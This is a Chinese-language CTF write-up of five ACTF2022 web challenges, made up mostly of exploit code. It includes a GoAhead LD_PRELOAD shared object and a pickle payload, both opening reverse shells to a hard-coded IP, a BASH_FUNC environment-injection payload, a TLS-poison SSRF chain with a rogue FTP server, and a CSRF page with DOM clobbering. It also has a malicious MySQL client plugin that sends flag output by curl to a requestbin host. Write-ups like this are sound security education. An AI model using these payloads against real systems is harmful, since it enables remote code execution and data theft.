0%

ACTF2022 国际赛

img

前言

有一说一,web还须努力,出了两个题,TLS没配好证书,beWhat差个input,都是出了一半,可惜了

image-20220629232527255

gogogo

  • 环境变量注入RCE
  • goahead

dockerfile发现使用的是 goaheadv5.1.4,然后就有两种解法,一种利用上传so(CVE-2021-42342),一种利用p牛的环境变量注入RCE

解法一: 上传hack.so

GoAhead环境变量注入复现踩坑记

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void aaanb(void)
{
unsetenv("LD_PRELOAD");
system("touch /tmp/success");
system("/bin/bash -c 'bash -i >& /dev/tcp/150.158.58.29/7777 0>&1'");
}

编译

gcc hack.c -fPIC -s -shared -o hack.so

exp.py

import requests, random
from concurrent import futures
from requests_toolbelt import MultipartEncoder
hack_so = open('hack.so','rb').read()

def upload(url):
m = MultipartEncoder(
fields = {
'file':('1.txt', hack_so,'application/octet-stream')
}
)
r = requests.post(
url = url,
data=m,
headers={'Content-Type': m.content_type}
)

def include(url):
m = MultipartEncoder(
fields = {
'LD_PRELOAD': '/proc/self/fd/7',
}
)
r = requests.post(
url = url,
data=m,
headers={'Content-Type': m.content_type}
)


def race(method):
url = 'http://localhost:10218/cgi-bin/hello'
if method == 'include':
include(url)
else:
upload(url)

def main():
task = ['upload','include'] * 1000
random.shuffle(task) #
with futures.ThreadPoolExecutor(max_workers=5) as executor:
results = list(executor.map(race, task))

if __name__ == "__main__":
main()

解法二: 利用环境变量注入去RCE

exp.py

import requests

payload = {
"BASH_FUNC_env%%":(None,"() { cat /flag; exit; }"),
}

r = requests.post("http://123.60.84.229:10218/cgi-bin/hello",files=payload)
print(r.text)

FLAG:ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}

ToLeSion

TLS Poison 攻击通过FTPS被动模式 ssrf去打Memcached,写入session值为pickle反序列化payload,这两篇文章是真的好

看完文章就知道这道题利用的是ftps的二次会话重用,环境搭建 https://github.com/ZeddYu/TLS-poison

安装TLS Server

# Install dependencies
sudo apt install git redis
git clone https://github.com/jmdx/TLS-poison.git
# Install rust:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
cd TLS-poison/client-hello-poisoning/custom-tls
# There will definitely be warnings I didn't clean up :)
cargo build

就是需要一个证书,将11211端口转发到2048端口

/target/debug/custom-tls -p 11211 --certs /home/ubuntu/tls/fullchain.pem --key /home/ubuntu/tls/privkey.pem forward 2048

然后在2048端口起一个ftp用来处理转发的流量

evilftp.py

import socketserver, threading,sys

class MyTCPHandler(socketserver.StreamRequestHandler):
def handle(self):
print('[+] connected', self.request, file=sys.stderr)
self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr,flush=True)
self.request.sendall(b'230 Login successful.\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'257 "/" is the current directory\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 Switching to Binary mode.\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
# 226 Transfer complete.
self.request.sendall(b'250 Requested file action okay, completed.')
exit()

def ftp_worker():
with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:
while True:
server.handle_request()
threading.Thread(target=ftp_worker).start()

最后exp.py

import redis
import pickle,requests

def get_pickle_payload(cmd):
class AAA():
def __reduce__(self):
return (__import__('os').system, (cmd,))
aaa = AAA()
payload = pickle.dumps(aaa)
return payload

def parse(x):
return b'\r\n' + x + b'\r\n'

def set(key, value):
return parse(b'set %s 0 0 %d\n%s' % (key.encode(), len(value), value))

def rce():
r = requests.get(
url = 'http://localhost:10023/?url=ftps://ctf.zjusec.top:8888/'
)
print(r.text)

r = requests.get(
url = 'http://localhost:10023/?url=file:///etc/passwd',
headers={
'Cookie':'session=aaa'
}
)
print(r.text)
def local_set():
payload = get_pickle_payload('/bin/bash -c "bash -i >& /dev/tcp/150.158.58.29/7777 0>&1"')
r = redis.StrictRedis(host='localhost', port=6379, db=0)
redis_payload = set('actfSession:aaa', payload)
print(redis_payload)
r.set('payload', redis_payload)
# mc = memcache.Client(['127.0.0.1:11200'])
# print(mc.set('actfSession:aaa', payload))

if __name__ == "__main__":
# local_set()
rce()

poorui

逻辑非常简单,就是通过websocket进行通信,看一下server的逻辑,如果api是”getflag”传入apiGetFlag进行处理,然后转入flagbot进行处理

image-20220626161213285

看flagbot的逻辑,只需要from为admin即可,from就是登录转入的 “凭证信息”

image-20220626161515361

admin登录没有任何限制,直接和后端进行websockets通信

python3 -m websockets ws://124.71.181.238:8081/

image-20220626161635215

FLAG:ACTF{s0rry_for_4he_po0r_front3nd_ui_:)_4FB89F0AAD0A}

beWhatYouWannaBe

首先提供了一个xss的点

image-20220629234652152

然后/beAdmin路由添加管理员权限,/flag 路由显示一半flag

image-20220629234748770

验证token的函数可以不断伪造

image-20220629234944026

将生成的token放到html中,然后提前时间bp不断爆破访问xss.html,然后CSRF去添加用户为admin

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>

<form action="http://localhost:8000/beAdmin" method="POST" enctype="application/x-www-form-urlencoded">
<input type="hidden" name='username' value='1'/>
<input type="hidden" name='csrftoken' value='d7ca620cbaf8615869492a7d8aa400e1bf922eefa179ac3f08bcfedd10c6a50a'/>
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

访问 /flag

image-20220626222303942

后半段flag,需要在禁用js的情况下通过解析html,获取到变量类似于延申的变量关系,最终卡到这这点

image-20220629235344183

flag2,利用dom,这道题做的时候谷歌evaluate相关时有一些利用iframe进行绕过的CTF题目,但是没走到 input 那一步

<iframe
name="fff"
srcdoc="<iframe srcdoc='<input id=aaa name=ggg value=this_is_what_i_want><input id=aaa>' name=lll>"></iframe>

FLAG:ACTF{3asy_csrf_and_bypass_stup1d_tok3n_g3n3rator_and_use_d0m_clobberring!!!}

完善一下

<html>
<head>
<title>csrf</title>
</head>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/js-sha256/0.9.0/sha256.js"></script>

<body>
<iframe name=fff srcdoc="<form id=lll name=aaa><input id=ggg value=this_is_what_i_want></input></form><form id=lll></form>"></iframe>
<form id="form" action="http://localhost:8000/beAdmin" method="post">
<input name="username" value="aaa">
<input name="csrftoken" id="csrftoken" value="1">
</form>

<script>
function getToken() {
return sha256(Math.sin(Math.floor(Date.now() / 1000)).toString())
}
$("#csrftoken").attr("value", getToken())
document.getElementById("form").submit()
</script>

</body>
</html>

myclient

环境设置了 secure_file_priv 为 /tmp/e10adc3949ba59abbe56e057f20f883e

index.php 可控

<?php
$con = mysqli_init();
$key = $_GET['key'];
$value = $_GET['value'];
if(strlen($value) > 1500){
die('too long');
}
if (is_numeric($key) && is_string($value)) {
mysqli_options($con, $key, $value);
}
mysqli_options($con, MYSQLI_OPT_LOCAL_INFILE, 0);
if (!mysqli_real_connect($con, "127.0.0.1", "test", "test123456", "mysql")) {
$content = 'connect failed';
} else {
$content = 'connect success';
}
mysqli_close($con);
echo $content;
?>

看到题目,我一愣,有点眼熟,然后就找到了TQLCTF中的SQL-TEST TQLCTF-SQL_TEST出题笔记 可以说形式上是一模一样了,但是题目的环境完全不一样,TQLCTF是通过反序列化解题,但这道题目并没有反序列化的环境,不过指明了解题的道路,继续去探索 mysqli_options 中的选项

WP:

  1. 使用 MYSQLI_INIT_COMMAND 选项 + INTO DUMPFILE,写一个 evil mysql 客户端认证库到 /tmp/e10adc3949ba59abbe56e057f20f883e

  2. 使用 MYSQLI_INIT_COMMAND 选项 + INTO DUMPFILE 写入一个 Defaults 配置,其中group=client plugin-dir=/tmp/e10adc3949ba59abbe56e057f20f883e 和 default-auth=<name of library file - extension>

  3. 使用 MYSQLI_READ_DEFAULT_FILE 选项设置为 /tmp/e10adc3949ba59abbe56e057f20f883e/

    来加载一个恶意的配置文件,该文件将触发我们的 evil.so ,然后触发 init 函数。

  4. RCE

evil.c

#include <mysql/client_plugin.h>
#include <mysql.h>
#include <stdio.h>

/*
Ubuntu x86_64:
apt install libmysqlclient-dev
gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c
NOTE: the plugin_name MUST BE the full name with the directory traversal!!!
*/

static int evil_init(char * a, size_t b , int c , va_list ds)
{
system("/readflag | curl -XPOST http://dnsdatacheck.7twx8in3gacdrrvq.b.requestbin.net/xxd -d @-");
return NULL;
}

static int evilplugin_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql)
{
int res;
res= vio->write_packet(vio, (const unsigned char *) mysql->passwd, strlen(mysql->passwd) + 1);
return CR_OK;
}

mysql_declare_client_plugin(AUTHENTICATION)
"auth_simple", /* plugin name */
"Author Name", /* author */
"Any-password authentication plugin", /* description */
{1,0,0}, /* version = 1.0.0 */
"GPL", /* license type */
NULL, /* for internal use */
evil_init, /* no init function */
NULL, /* no deinit function */
NULL, /* no option-handling function */
evilplugin_client /* main function */
mysql_end_client_plugin;

编译

gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c

exp.py

import requests
import random
import string
import codecs

def genName():
return random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters)+ random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) +random.choice(string.ascii_letters)


url = "http://124.71.205.170:10047/index.php"

shell = open("exp.so","rb").read()
n = 100
chunks = [shell[i:i+n] for i in range(0, len(shell), n)]

print(len(chunks))

prefix = genName()
for idx in range(len(chunks)):
name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx);
chunk = chunks[idx];
x = "0x" +codecs.encode(chunk,'hex').decode()
if idx != 0 and idx != len(chunks)-1:
previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
sql = f"SELECT concat(LOAD_FILE('{previus_name}'), {x}) INTO DUMPFILE '{name}'"
r = requests.get(url,params={"key":"3", "value": sql})
print(r.text)
print(name)
elif idx == len(chunks)-1:
previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
sql = f"SELECT concat(LOAD_FILE('{previus_name}'), {x}) INTO DUMPFILE '/tmp/e10adc3949ba59abbe56e057f20f883e/auth_simple.so'"
r = requests.get(url,params={"key":"3", "value": sql})
print(r.text)
open("name","w").write("auth_simple")
print("auth_simple")
else:
sql = f"SELECT {x} INTO DUMPFILE '{name}'"
r = requests.get(url,params={"key":"3", "value": sql})
print(r.text)

WP

team-s2/ACTF-2022: Archive of AAA CTF 2022

ACTF Writeup by SU (qq.com)

2022ACTF-Wp (qq.com)